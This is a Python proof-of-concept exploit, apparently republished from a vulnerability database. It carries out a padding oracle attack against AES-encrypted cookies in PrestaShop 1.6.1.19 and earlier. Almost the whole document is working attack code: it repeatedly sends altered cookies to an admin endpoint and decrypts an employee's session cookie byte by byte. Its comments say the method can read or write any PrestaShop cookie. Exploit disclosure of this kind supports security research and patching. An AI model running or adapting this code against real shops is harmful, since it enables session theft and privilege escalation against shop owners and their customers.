#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 AES (Rijndael) / openssl_encrypt() Cookie Read
# Charles Fol
#
# See https://ambionics.io/blog/prestashop-privilege-escalation
#
# This POC will reveal the content of an employee's cookie.
# By modifying it one can read/write any PrestaShop cookie.
# It is a simple padding oracle implementation.
#
import requests
import urllib.parse
import base64
s = requests.Session()
"""
s.proxies = {
'http': 'localhost:8080',
'https': 'localhost:8080',
}
#"""
# Login as an employee, get your cookie and paste it here along with the URL
URL = "http://vmweb5/prestashop/admin177chuncw/"
cookie = "PrestaShop-b0ebb4f17b3e451202e5b044e29ed75d=20NxjuYuGVhSt8n0M54Av9Qkpyzl9axkK%2BGgLLCcv0MLQZhLAEV8lnq6U2Ew2n5aMUOYqkrkpqjputuLiBEqqW7pIce8cUv%2F3SEFp3tPnWfCgJgXKUsR1htOQ4KAoXyYLhoc31kVgcm39OhQh5Zg3A78HnO1On2udHwN8dTRdI86kewEFZPNtmMeBF7sAr9zezevsjK1VU4BI84EVXCYQuuhnVehoqfAa9XoZC%2FD3FEmDSuspZw2AUB0S7Py6ks6eEeCVDWieBKDsHD13UK%2FzgM%2F65m5rpU1P4BSQSHN2Qs%3D000208"
# Parse blocks and size
cookie_name, cookie_value = cookie.split("=")
cookie_value = urllib.parse.unquote(cookie_value)
cookie_size = cookie_value[-6:]
cookie_value = cookie_value[:-6]
cookie_value = base64.b64decode(cookie_value)
BLOCK_SIZE = 16
def test_padding(data):
"""Returns true if the padding is correct, false otherwise.
One can easily adapt it for customer cookies using:
index.php?controller=identity
"""
data = base64.b64encode(data).decode()
data = urllib.parse.quote(data)
data = data + cookie_size
s.cookies[cookie_name] = data
r = s.get(URL, allow_redirects=False)
s.cookies.clear()
return 'AdminLogin' not in r.headers.get('Location', '')
def e(msg):
print(msg)
exit(1)
if not test_padding(cookie_value):
e("Invalid cookie (1)")
elif test_padding(b"~~~~~"):
e("Invalid cookie (2)")
# Perform the padding oracle attack
result = b''
for b in range(1, len(cookie_value) // BLOCK_SIZE + 1):
obtained = []
current_block = cookie_value[(b ) * BLOCK_SIZE:][:BLOCK_SIZE]
precedent_block = cookie_value[(b - 1) * BLOCK_SIZE:][:BLOCK_SIZE]
for p in range(BLOCK_SIZE):
nb_obtained = len(obtained)
for i in range(256):
pad = nb_obtained + 1
prelude = (
b"\x00" * (BLOCK_SIZE - pad) +
bytes([i]) +
bytes([o ^ pad for o in obtained][::-1])
)
data = cookie_value + prelude + current_block
if test_padding(data):
print("Got byte #%d of block #%d: %d" % (p, b, i))
obtained.append(i ^ pad)
break
else:
e("Unable to decode position %d" % p)
# Compute the contents of the plaintext block
result += bytes([o ^ p for p, o in zip(precedent_block, obtained[::-1])])
try:
print("COOKIE: %s" % result.decode())
except UnicodeDecodeError:
print("COOKIE: Unable to decode, wait for next block")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation